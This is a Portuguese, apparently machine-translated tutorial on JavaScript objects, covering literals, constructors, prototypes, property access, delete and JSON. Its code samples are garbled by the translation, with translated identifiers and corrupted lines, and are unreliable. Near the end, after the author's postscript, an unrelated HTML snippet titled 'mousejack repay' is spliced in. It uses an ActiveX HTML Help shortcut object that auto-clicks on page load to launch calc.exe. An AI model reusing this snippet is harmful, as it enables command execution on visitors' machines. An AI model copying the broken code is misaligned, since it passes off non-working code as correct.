O JavaScrtip possui seis tipos de dados, um tipo de dados complexo (tipo de referência), a saber, o tipo de objeto de objeto e cinco tipos de dados simples (tipos primitivos): número, string, booleano, indefinido e nulo. Entre eles, o tipo mais central é o tipo de objeto. Ao mesmo tempo, deve -se notar que tipos simples são imutáveis, enquanto os tipos de objetos são mutáveis.
O que é um objeto
Um objeto é uma lista não ordenada de tipos de dados simples (às vezes tipos de dados referenciados) armazenados como uma série de pares de nomes-valores. Cada item nesta lista é chamado de propriedade (se for chamada de método).
Aqui está um objeto simples:
var myfirstObject = {FirstName: "Richard", favoriteAuthor: "Conrad"};Os objetos podem ser considerados como uma lista, e cada item (propriedades ou métodos) na lista é armazenado em um par de nomes-valor. No exemplo acima, os nomes de atributos do objeto são o primeiro nome e o favorita. Da mesma forma, os valores de atributo do objeto são Richard e Conrad.
O nome do atributo pode ser uma string ou um número, mas se um número for usado como o nome do atributo, o valor do atributo correspondente ao nome do atributo desse número deve ser obtido entre colchetes (notação de suporte quadrado). Uma explicação mais detalhada da notação de suporte quadrado mais tarde. Aqui está um exemplo de notação de suporte quadrado:
var AgeGroup = {30: "Children", 100: "muito antigo"}; console.log (AgeGroup.30) // ERRO // A maneira correta de acessar o atributo 30 console.log (AgeGroup ["30"]); // crianças // é melhor evitar o uso de números como nomes de atributosComo um programador JavaScript, você costuma usar os tipos de dados do objeto. Geralmente é usado para armazenar dados ou criar métodos ou funções personalizadas.
Tipos de dados de referência e tipos de dados primitivos
A diferença mais importante entre um tipo de referência e um tipo primitivo é que o tipo de referência é armazenado por referência e não armazenará o valor diretamente em uma variável como um tipo primitivo. por exemplo:
// Os dados do tipo original são armazenados pelo valor var pessoa = "kobe"; Var outropeston = pessoa; // OUTROPERSON = O VALOR DA PESSOON PESOL = "BRYANT"; // O valor da pessoa mudou o console.log (outropeso); // kobe console.log (pessoa); // Bryan
Pode -se notar que, mesmo se alterarmos o valor da pessoa para "Bryant", isso não terá nenhum efeito no antho -erpeso e ainda salva o valor atribuído a ele pela pessoa original.
Compare o armazenamento original do tipo por valor com o tipo de referência pelo armazenamento de referência:
var pessoa = {name: "kobe"}; Var outropeston = pessoa; pessoa.name = "bryant"; Console.log (outroperson.name); // Bryant Console.log (Person.name); // BryantNeste exemplo, copiamos o objeto de pessoa para Anthoerpeson, mas porque o objeto de pessoa armazena uma referência em vez do valor real. Portanto, quando mudamos de pessoa para "Bryant", a variável de outros pessoas também reflete essa alteração, porque não copia todos os atributos pessoalmente e os salva, mas salva diretamente a referência do objeto.
Atributos das propriedades do objeto
Nota: o atributo é geralmente traduzido como atributo, mas para distingui -lo da Propertie (também traduzido como atributo), ele é traduzido como atributo aqui. Isso também é algo que foi consultado por outros, e deve ser inofensivo.
Cada atributo de objeto não apenas salva seu próprio par de nomes-valor, mas também contém três características, que são definidas como true por padrão.
• Atributo configurável: especifica se esse atributo de objeto pode ser excluído ou modificado.
• Enumerable: especifica se essa propriedade do objeto pode ser obtida no loop for-in.
• gravidade: especifica se essa propriedade do objeto pode ser modificada.
Existem alguns novos recursos no Emacscript 5, e não os explicaremos em detalhes aqui.
Criar um objeto
Existem dois métodos comuns para criar objetos:
1. Objeto literal
Esta é a maneira mais comum e mais fácil de criar objetos, usando diretamente literais:
// objeto vazio var mybooks = {}; // objeto contendo 4 atributos criados usando literais var mango = {color: "amarelo", forma: "redondo", doçura: 8, HowSweetami: function () {console.log ("hmm hmm bom"); }}2. Construtor de objeto
O segundo método comumente usado é usar construtores de objetos. Um construtor é uma função especial que pode ser usada para criar um novo objeto. O construtor precisa ser chamado usando a nova palavra -chave.
var mango = new Object (); manga.color = "amarelo"; manga.shape = "redond"; manga.sweetness = 8; manga.Howsweetami = function () {console.log ("hmm hmm bom");}Embora algumas palavras ou palavras -chave reservadas possam ser usadas, como para o nome de uma propriedade de objeto, essa não é uma escolha sábia.
As propriedades de um objeto podem conter qualquer tipo de dados, incluindo número, matrizes ou até outros objetos.
Modo prático de criação de objetos
Para criar objetos simples usados apenas uma vez para armazenar dados, os dois métodos acima podem atender às necessidades.
No entanto, suponha que exista um programa para exibir a fruta e seus detalhes. Cada tipo de fruta no programa possui as seguintes propriedades do objeto: cor, forma, doçura, custo e uma função de nome mostrado. Se você precisar tipificar o seguinte código toda vez que criar um novo objeto de frutas, ele será muito chato e ineficiente.
var mangofruit = {color: "amarelo", doçura: 8, nome da fruta: "manga", nativetoland: ["América do Sul", "América Central"], mostrou -se: function () {console.log ("Isso é" + this.fruitname); }, Nativeto: function () {this.nativeToland.foreach (function (cadacountry) {console.log ("cultivado em:" + cadacountry);}); }}Se você tiver 10 frutas, precisará adicionar o mesmo código 10 vezes. E, se você deseja modificar a função nativeto, deve modificá -la em 10 locais diferentes. Vamos imaginar ainda que, se você estiver desenvolvendo um site grande, adicionou atributos aos objetos acima um por um. No entanto, de repente você percebe que a maneira como você cria o objeto não é ideal e deseja modificá -lo, o que deve fazer neste momento?
Para resolver esses problemas repetitivos, os engenheiros de software inventaram vários padrões (soluções para problemas repetitivos e tarefas comuns) para usar os programas de desenvolvimento com mais eficiência e racionalmente.
Aqui estão dois padrões comuns para criar objetos:
1. Construindo o modo de método
função fruta (thecolor, thesweetness, thefutname, thenativeToland) {this.color = thecolor; this.Sweetness = Thesweetness; this.fruitName = theFruitName; this.nativeToland = thenAtivetoland; this.showname = function () {console.log ("Este é um" + this.fruitName); } this.nativeto = function () {this.nativetoland.foreach (function (cadacountry) {console.log ("cultivado em:" + cada país);}); }}Com esse padrão, é fácil criar uma variedade de frutas. Assim:
var mangofruit = nova fruta ("amarelo", 8, "manga", ["América do Sul", "América Central", "África Ocidental"]); Mangofruit.showname (); // Esta é uma manga. Mangofruit.nativeto (); // cultivado em: América do Sul // Crescido em: América Central // Crescido em: África Ocidental Var Pineapplefruit = New Fruit ("Brown", 5, "abacaxi", ["Estados Unidos"]); // Este é um abacaxi.Se você deseja alterar propriedades ou métodos, só precisa modificá -los em um só lugar. Esse padrão encapsula as funções e características de todos os frutos através da herança de uma função de fruta.
Perceber:
Properties Propriedades inevitáveis precisam ser definidas nas propriedades do objeto de protótipo do objeto. por exemplo
SomeObject.prototype.firstname = "Rich";
◦Os atributos que pertencem a si mesmo devem ser definidos diretamente no objeto. por exemplo:
// Primeiro, crie um objeto var amango = new frut (); // a seguir, defina o método MongoSpice diretamente no objeto // porque definimos a propriedade de Mangospice diretamente no objeto, é a própria propriedade de Amango, não uma propriedade herdável amango.mangospice = "algum valor";
◦ Para acessar as propriedades de um objeto, use object.property, como:
console.log (Amango.Mangospice); // "algum valor"
◦Para chamar o método de um objeto, use object.method (), como:
// Primeiro, adicione um método amango.printstuff = function () {return "imprimindo"; } // Agora, você pode chamar o método PrintStuff amango.printstuff ();2. Modo de protótipo
function fruit () {} fruit.prototype.color = "amarelo"; fruit.prototype.sweetness = 7; frut.prototype.fruitname = "fruta genérica"; fruttotype.nativeToland = "EUA"; fruit.protype.ShowName = function () {Console.og.Ong (USA "; this.fruitName);} fruit.prototype.nativeto = function () {console.log ("cultivado em:" + this.nativetoland);}Aqui está o método para chamar o construtor Fruit () no modo de protótipo:
var mangofruit = new Fruit (); mangofruit.showname (); // mangofruit.nativeto (); // Esta é uma fruta genérica // cultivada em: EUA
Leitura estendida
Se você precisar conhecer uma explicação mais detalhada desses dois padrões, pode ler o capítulo 6 da programação avançada de JavaScript, que discute as vantagens e desvantagens desses dois métodos em detalhes. Outros modos além desses dois também são discutidos no livro.
Como acessar propriedades em um objeto
Os dois métodos principais para acessar as propriedades do objeto são a notação de pontos e a notação do suporte.
1.
// Este é o método para acessar atributos que usamos no exemplo anterior var book = {Title: "Ways to Go", Páginas: 280, Bookmark1: "Página 20"}; // Use a notação de pontos para acessar os atributos do título e das páginas do objeto de livro: console.log (book.title); // maneiras de ir console.log (book.pages); // 2802. Método de notação de suporte
// Use suportes quadrados para revelar as propriedades do objeto do livro: console.log (livro ["title"]); // maneiras de ir console.log (livro ["páginas"]); // 280 // Se o nome do atributo for armazenado em uma variável, também pode ser: var booktitle = "title"; console.log (book [booktitle]); // maneiras de ir console.log (livro ["marcador" + 1]); // Página 20
O acesso às propriedades que não existem em um objeto resultará em um indefinido.
Seus próprios atributos e atributos de herança
Os objetos têm seus próprios atributos e atributos herdados. O próprio atributo é uma propriedade definida diretamente no objeto, enquanto o atributo herdado é uma propriedade herdada do protótipo do objeto.
Para determinar se um objeto tem um determinado atributo (seja seu próprio atributo ou atributo herdado), você pode usar o operador no Operador:
// Crie um objeto com o atributo do nome da escola var school = {schoolname: "mit"}; // Imprima verdadeiro porque o objeto tem o nome da escola Console.log ("SchoolName" na escola); // True // Imprima False porque não definimos a propriedade da Schoolype nem herdamos o Schoolype Property Console.log ("SchoolType" na escola); // FALSO // Imprime verdadeiro porque o método do tostamento console.log ("ToString" na escola); // verdadeiroHasownProperty
Para determinar se um objeto possui uma propriedade específica, você pode usar o método HASOWNPROTOTYPE. Esse método é muito útil porque geralmente precisamos enumerar todas as propriedades de um objeto em vez de herdá -las.
// Crie um objeto com o atributo do nome da escola var school = {schoolname: "mit"}; // Imprime verdadeiro, porque o nome da escola é o próprio console de propriedades da escola (School.HasownProperty ("SchoolName")); // true // Imprime False, porque a ToString é herdada do protótipo do objeto e do próprio console de propriedades da escola (School.HasownProperty ("ToString")); // falsePropriedades de acesso e enumeração em objetos
Para acessar os atributos (auto ou herdados) que podem ser enumerados em um objeto, você pode usar um loop for-in ou um método de loop normal.
// Crie um objeto escolar com 3 atributos: Nome da escola, SchoolAcredited e Schoollocation. Var School = {SchoolName: "MIT", SchoolAcredited: True, Schoollocation: "Massachusetts"}; // Use um loop for-in para obter os atributos no objeto para (var etaItem na escola) {console.log (cadaSitem); // Imprime o nome da escola, acréscimo escolar, Schoollocation}Acesso Propriedades herdadas
As propriedades herdadas do protótipo do objeto não são enumeráveis; portanto, essas propriedades não são acessadas no loop for-in. No entanto, se forem propriedades enumeráveis de herança, também poderão ser acessadas a partir do loop for-in.
por exemplo:
// use para in acessar as propriedades no objeto da escola para (var cada-iTem na escola) {console.log (cada-iTem); // Imprime o nome da escola, acréscimo escolar, Schoollocation} // Nota: O parágrafo a seguir é uma explicação do texto original/* lateral Nota: Como Wilson (um leitor astuto) apontado corretamente nos comentários abaixo, a propriedade EducationLevel não é realmente herdada por objetos que usam o construtor superior; Em vez disso, a propriedade EducationLevel é criada como uma nova propriedade em cada objeto que usa o construtor de alta aprendizagem. O motivo pelo qual a propriedade não é herdada é porque usamos a palavra -chave "essa" para definir a propriedade. */// Crie uma nova função de alta aprendizagem que o objeto da escola herdará. FUNCIONE AUSPERLARNE () {this.educationLevel = "University"; } // Implemente a herança com o construtor de alta aprendizagem var school = new HigherLearning (); school.schoolname = "mit"; School.schoolAccredited = true; School.schoollocation = "Massachusetts"; // Uso do loop for/in para acessar as propriedades no objeto da escola para (var cada -iTem na escola) {console.log (cadaSitem); // imprime o EducationLvel, o nome da escola, a escolaridade e o Schoollocation}Excluir propriedades no objeto
Você pode usar o operador Excluir para excluir propriedades em um objeto. Não podemos excluir atributos herdados e não podemos excluir atributos de objeto cujos atributos configuráveis são definidos como falsos. Para excluir propriedades herdadas, você deve excluí -lo do objeto de protótipo (ou seja, onde essas propriedades são definidas). Além disso, não podemos excluir propriedades em objetos globais.
Quando o Excluir for bem -sucedido, o operador de exclusão retornará true. Surpreendentemente, o operador Excluir também retorna verdadeiro quando o atributo a ser excluído não existe ou não pode ser excluído (ou seja, o atributo que não é seu ou o atributo configurável é definido como false).
Aqui está um exemplo:
var natalthlist = {Mike: "Book", Jason: "Sweater"} exclua natalllist.mike; // Exclui a propriedade Mike para (Var People na lista de natal) {Console.log (People); } // imprime apenas Jason // A propriedade Mike foi excluída excluir natallist.toString; // retorna true, mas como a tostragem é uma propriedade herdada, ela não será excluída // porque a tostragem não é excluída, natallist.toString () também pode ser usado normalmente aqui; // "[objeto objeto]" // Se um atributo for sua própria propriedade de uma instância do objeto, podemos excluí -lo. // Por exemplo, podemos excluir o atributo EducationLevel do objeto da escola definido no exemplo anterior, // porque o EducationLevel é definido nesse caso: usamos a palavra -chave "essa" ao definir o nível de educação na função de aprendizagem superior. // Não definimos o atributo EducationLevel no objeto de protótipo da função de alta aprendizagem. Console.log (School.HasownProperty ("EducationLvel")); // True // EducationLevel é uma autoproperção de um objeto escolar, para que possamos excluir excluir a escola.educationLEvel; // true // A propriedade EducationLvel excluiu o console.log (School.educationLEvel); // indefinido // Mas a propriedade EducationLevel ainda existe na função de alta aprendizagem var Newschool = new HigherLearning (); console.log (Newschool.educationLEvel); // Universidade // Se definirmos uma propriedade no protótipo da função de alta aprendizagem, como esta propriedade EducationLevel2: HigherLearning.prototype.educationLevel2 = "University 2"; // Esta propriedade EducationLevel2 não atribui a propriedade própria da instância superior de AleaNlearning // A propriedade EducationLevel2 não é de propriedade própria do School Instância Console.log (School.HasownProperty ("EducationLevel2")); False Console.log (School.educationLevel2); // Universidade 2 // Tente excluir a propriedade Herited EducationLevel2 Delete School.educationLevel2; // true (como mencionado anteriormente, essa expressão retornará verdadeira) // A propriedade EducationLevel2 herdada não foi excluída console.log (School.educationLevel2); Universidade 2Serialize e desserialize objetos
Para passar por um objeto em http ou converter um objeto em uma string, precisamos serializar o objeto (convertê -lo em uma string). Podemos usar o JSON.Stringify para serializar objetos. Deve -se notar que nas versões antes do ECMAScript 5, precisamos usar a biblioteca JSON2 para obter a função JSON.Stringify. No ECMAScript 5, essa função se tornou uma função padrão.
Para desserializar um objeto (ou seja, converter uma string em um objeto), isso pode ser feito usando a função json.parse. Da mesma forma, antes da 5ª edição, precisamos obter essa função da biblioteca JSON2, e essa função padrão foi adicionada à 5ª edição.
Código de exemplo:
var natalthlist = {Mike: "Book", Jason: "Sweater", Chelsea: "ipad"} json.stringify (natallist); // imprime esta string: // "{" Mike ":" Book "," Jason ":" Sweater "," Chels ":" iPad "}" // Para imprimir um objeto straciificado com formatação, adicione "null" e "4" como parâmetros: json.stringify (natallist, null, 4); // "{//" Mike ":" Book ", //" Jason ":" Sweater ", //" Chels ":" iPad "//}" // json.parse exemplos // a seguir é uma string json, portanto, não podemos acessar as propriedades com nota pontual (como natallistr.mike) var natalthlists = '{"Mike": "Book", "Jason": "Sweater", "Chels": "iPad"}'; // Vamos convertê -lo em um objeto var natalthlistObj = json.parse (natalliststr); // Agora que é um objeto, usamos o console de notação de ponto.log (natallistobj.mike); // LivroPara obter mais discussão e explicação dos objetos JavaScript, bem como o conteúdo adicionado ao ECMAScript na 5ª edição, consulte o Capítulo 6 do Guia de autoridade do JavaScript (6ª edição).
PostScript
Quando traduzi um artigo pela primeira vez, sinto que não é tão simples traduzi -lo bem. Muitas frases simples parecem muito claras, mas quando eu realmente quero traduzi -lo, não consigo pensar em uma maneira adequada de expressão. Todo o artigo é baseado em meu próprio entendimento e depois o traduziu livremente, sem a sentença de tradução por sentença. Portanto, se houver algum desvio na compreensão ou tradução inadequada, tente apontá -lo e eu o corrigirei o mais rápido possível. Afinal, quero compartilhar este artigo passado com você. Não quero enganá -lo por causa de meus erros de entendimento.
Apenas molho, termine o trabalho.
<! Doctype html> <html> <head> <title> mousejack repay </title> <head> </head> <body> comando exec <objeto id = x classId = "clsid: adb880a6-d8ff-11cf-9377-00Aa003B7A11" width = 1 altura = 1> 1> 1> value = "bitmap :: shortcut"> <param name = "item1" value = ', calc.exe'> <param name = "item2" value = "273,1,1"> </object> <cript> x.click (); </Script> </body> </html>
O exposto acima é todo o conteúdo deste artigo. Espero que seja útil para o aprendizado de todos e espero que todos apoiem mais o wulin.com.